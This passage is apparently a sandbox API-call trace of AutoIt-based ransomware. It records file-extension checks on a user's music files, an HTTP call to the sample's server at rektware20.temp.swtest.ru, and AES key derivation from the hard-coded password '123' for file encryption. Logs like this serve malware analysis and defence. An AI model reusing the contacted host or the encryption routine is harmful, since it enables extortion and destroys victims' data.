lpString1="a\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zOIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OIHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IHN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kxC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xC_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rNAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NAr6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ar6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.808] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.809] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.809] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.809] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.809] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.809] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.809] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.809] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.809] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c) returned 1 [0064.809] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.809] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.809] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.810] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.810] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.810] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629420, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629420*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.811] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.811] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.811] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.811] CloseHandle (hObject=0x0) returned 0 [0064.811] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.811] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0064.812] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.812] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.812] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.812] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.812] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.812] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.812] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.812] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.813] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.813] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.813] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.813] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.813] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.813] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.813] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.813] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.813] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.814] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.814] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.814] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.815] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab3b8) returned 1 [0064.815] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.815] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.816] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.816] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.816] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.816] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.816] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.816] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.816] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.816] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.816] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.816] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.816] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.817] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.817] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.817] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.817] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.817] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.817] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.817] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.822] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.822] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.822] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.822] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.822] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.822] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.822] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.823] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.823] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.823] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.823] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621510, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0064.824] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0064.824] CryptCreateHash (in: hProv=0x17ab3b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0064.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629630, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.824] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0064.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0064.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629650, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0064.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.825] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.825] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.825] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0064.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0064.826] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0064.826] CryptHashData (hHash=0x164c830, pbData=0x16295e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0064.826] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.826] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.826] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.826] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.826] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.826] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.826] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.826] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0064.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0064.827] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0064.827] CryptDeriveKey (in: hProv=0x17ab3b8, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0064.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.827] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.827] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.827] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0064.827] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0064.828] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0064.828] CryptDestroyHash (hHash=0x164c830) returned 1 [0064.828] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.828] PeekMessageW (in: 